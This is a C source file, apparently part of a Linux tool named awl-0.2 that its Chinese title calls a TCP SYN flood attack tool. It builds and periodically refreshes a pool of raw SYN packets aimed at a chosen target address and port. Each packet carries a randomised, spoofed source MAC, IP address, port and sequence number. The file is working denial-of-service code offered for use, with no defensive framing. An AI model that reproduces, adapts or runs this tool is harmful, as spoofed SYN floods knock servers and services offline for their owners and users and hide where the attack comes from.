awl-0.2.tar.gz TCP SYN洪水攻击 linux工具

//awl_pool.c #include <stdio.h> #include <stdlib.h> #include <string.h> #include <error.h> #include <unistd.h> #include <netinet/in.h> #include <netinet/ip.h> #include <netinet/tcp.h> #include <arpa/inet.h> #include <net/ethernet.h> #include <awl_pool.h> #include <awl_rand.h> #include <awl_checksum.h> #include <awl_sig.h> extern int quit_id; extern int buf_len; int pool_init(char *head[],struct awl_data *to){ int i = 0; struct ether_header *eth; struct iphdr *iph; struct tcphdr *tcph; int eth_len = sizeof(struct ether_header); int iph_len = sizeof(struct iphdr),tcph_len = sizeof(struct tcphdr); buf_len = eth_len+iph_len+tcph_len; while(i<POOL_MAX){ head[i] = (char *)malloc(buf_len); if(head[i] == NULL){ return(0); } eth = (struct ether_header *)head[i]; iph = (struct iphdr *)(head[i]+eth_len); tcph = (struct tcphdr *)(head[i]+eth_len+iph_len); memcpy(eth->ether_dhost,to->eth_dst,ETH_ALEN); eth->ether_shost[0] = get_rand8(); eth->ether_shost[1] = get_rand8(); eth->ether_shost[2] = get_rand8(); eth->ether_shost[3] = get_rand8(); eth->ether_shost[4] = get_rand8(); eth->ether_shost[5] = get_rand8(); eth->ether_type = htons(ETHERTYPE_IP); iph->ihl=5; iph->version=4; iph->tos=0; iph->tot_len=htons(iph_len+tcph_len); iph->id=htons(get_rand16()); iph->frag_off=0; iph->ttl=get_rand8(); iph->protocol=IPPROTO_TCP; iph->check=0; iph->saddr=get_rand32(); iph->daddr=to->d_addr; tcph->source = get_rand16(); tcph->dest = to->d_port; tcph->seq = htonl(get_rand32()); tcph->ack_seq = 0; tcph->res1 = 0; tcph->doff = sizeof(struct tcphdr)/4; tcph->fin = 0; tcph->syn = 1; tcph->rst = 0; tcph->psh = 0; tcph->ack = 0; tcph->urg = 0; tcph->res2 = 0; tcph->window = htons(get_rand16()); tcph->check = 0; tcph->urg_ptr = 0; tcph->check = tcp_checksum( iph->saddr, iph->daddr, (unsigned short *)tcph, tcph_len); iph->check = ip_checksum((unsigned short *)iph,iph->ihl); i++; } return(1); } int pool_clean(char *head[]){ int i=0; while(i<POOL_MAX){ free(head[i]); i++; } return(1); } int pool_show(char *head[]){ int i = 0; struct iphdr *iph; struct in_addr in; while(i<POOL_MAX){ iph =(struct iphdr*)head[i]; in.s_addr = iph->saddr; printf("\nNo.%d,",i); printf("src address:%s",inet_ntoa(in)); i++; } return(1); } int pool_renew(char *head[]){ int i = 0; struct ether_header *eth; struct iphdr *iph; struct tcphdr *tcph; int eth_len = sizeof(struct ether_header); int iph_len = sizeof(struct iphdr),tcph_len = sizeof(struct tcphdr); while(i<POOL_MAX){ eth = (struct ether_header *)head[i]; iph = (struct iphdr *)(head[i]+eth_len); tcph = (struct tcphdr *)(head[i]+eth_len+iph_len); eth->ether_shost[0] = get_rand8(); eth->ether_shost[1] = get_rand8(); eth->ether_shost[2] = get_rand8(); eth->ether_shost[3] = get_rand8(); eth->ether_shost[4] = get_rand8(); eth->ether_shost[5] = get_rand8(); iph->id=htons(get_rand16()); iph->ttl=get_rand8(); iph->check=0; iph->saddr=get_rand32(); tcph->source = get_rand16(); tcph->seq = htonl(get_rand32()); tcph->window = htons(get_rand16()); tcph->check = 0; tcph->check = tcp_checksum( iph->saddr, iph->daddr, (unsigned short *)tcph, tcph_len); iph->check = ip_checksum((unsigned short *)iph,iph->ihl); if(quit_id == 1){ printf("pool_renew success\n"); goto over; } i++; if(i >= POOL_MAX){ i = 0; } sleep(60); } over: return(1); }